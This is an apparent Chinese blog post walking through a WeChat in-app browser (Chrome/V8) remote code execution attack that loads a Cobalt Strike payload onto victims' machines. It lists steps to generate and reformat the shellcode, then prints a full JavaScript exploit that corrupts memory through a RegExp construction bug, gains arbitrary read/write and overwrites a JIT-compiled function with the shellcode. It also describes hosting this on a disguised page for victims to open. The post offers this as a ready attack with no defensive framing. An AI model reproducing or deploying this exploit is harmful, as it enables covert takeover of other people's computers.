微信+Chrome REC 上线CS
侧边栏壁纸
  • 累计撰写 62 篇文章
  • 累计收到 47 条评论

微信+Chrome REC 上线CS

Skycyan
2022-06-03 / 0 评论 / 90 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2023年02月24日,已超过819天没有更新,若内容或图片失效,请留言反馈。

微信0Day上线CS

  1. 使用CS生成PayLoad

    使用C语言生成payload

lauhqj23.png

  1. 对Payload做处理

    替换“/" 为“,0”,这里注意逗号

lauhpm2z.png

  1. exp文件

    ENABLE_LOG = true;
    IN_WORKER = true;
    
    // run calc and hang in a loop
    var shellcode = [此处插入上面处理好的payload];
    
    function print(data) {
    }
    
    var not_optimised_out = 0;
    var target_function = (function (value) {
        if (value == 0xdecaf0) {
            not_optimised_out += 1;
        }
        not_optimised_out += 1;
        not_optimised_out |= 0xff;
        not_optimised_out *= 12;
    });
    
    for (var i = 0; i < 0x10000; ++i) {
        target_function(i);
    }
    
    var g_array;
    var tDerivedNCount = 17 * 87481 - 8;
    var tDerivedNDepth = 19 * 19;
    
    function cb(flag) {
        if (flag == true) {
            return;
        }
        g_array = new Array(0);
        g_array[0] = 0x1dbabe * 2;
        return 'c01db33f';
    }
    
    function gc() {
        for (var i = 0; i < 0x10000; ++i) {
            new String();
        }
    }
    
    function oobAccess() {
        var this_ = this;
        this.buffer = null;
        this.buffer_view = null;
    
        this.page_buffer = null;
        this.page_view = null;
    
        this.prevent_opt = [];
    
        var kSlotOffset = 0x1f;
        var kBackingStoreOffset = 0xf;
    
        class LeakArrayBuffer extends ArrayBuffer {
            constructor() {
                super(0x1000);
                this.slot = this;
            }
        }
    
        this.page_buffer = new LeakArrayBuffer();
        this.page_view = new DataView(this.page_buffer);
    
        new RegExp({ toString: function () { return 'a' } });
        cb(true);
    
        class DerivedBase extends RegExp {
            constructor() {
                // var array = null;
                super(
                    // at this point, the 4-byte allocation for the JSRegExp `this` object
                    // has just happened.
                    {
                        toString: cb
                    }, 'g'
                    // now the runtime JSRegExp constructor is called, corrupting the
                    // JSArray.
                );
    
                // this allocation will now directly follow the FixedArray allocation
                // made for `this.data`, which is where `array.elements` points to.
                this_.buffer = new ArrayBuffer(0x80);
                g_array[8] = this_.page_buffer;
            }
        }
    
        // try{
        var derived_n = eval(`(function derived_n(i) {
            if (i == 0) {
                return DerivedBase;
            }
    
            class DerivedN extends derived_n(i-1) {
                constructor() {
                    super();
                    return;
                    ${"this.a=0;".repeat(tDerivedNCount)}
                }
            }
    
            return DerivedN;
        })`);
    
        gc();
    
        new (derived_n(tDerivedNDepth))();
    
        this.buffer_view = new DataView(this.buffer);
        this.leakPtr = function (obj) {
            this.page_buffer.slot = obj;
            return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
        }
    
        this.setPtr = function (addr) {
            this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
        }
    
        this.read32 = function (addr) {
            this.setPtr(addr);
            return this.page_view.getUint32(0, true, ...this.prevent_opt);
        }
    
        this.write32 = function (addr, value) {
            this.setPtr(addr);
            this.page_view.setUint32(0, value, true, ...this.prevent_opt);
        }
    
        this.write8 = function (addr, value) {
            this.setPtr(addr);
            this.page_view.setUint8(0, value, ...this.prevent_opt);
        }
    
        this.setBytes = function (addr, content) {
            for (var i = 0; i < content.length; i++) {
                this.write8(addr + i, content[i]);
            }
        }
        return this;
    }
    
    function trigger() {
        var oob = oobAccess();
    
        var func_ptr = oob.leakPtr(target_function);
        print('[*] target_function at 0x' + func_ptr.toString(16));
    
        var kCodeInsOffset = 0x1b;
    
        var code_addr = oob.read32(func_ptr + kCodeInsOffset);
        print('[*] code_addr at 0x' + code_addr.toString(16));
    
        oob.setBytes(code_addr, shellcode);
    
        target_function(0);
    }
    
    try{
        print("start running");
        trigger();
    }catch(e){
        print(e);
    }
  1. 伪装页面

    image-20210520181142076

  2. 微信上线

    image-20210520181119686

0

评论 (0)

取消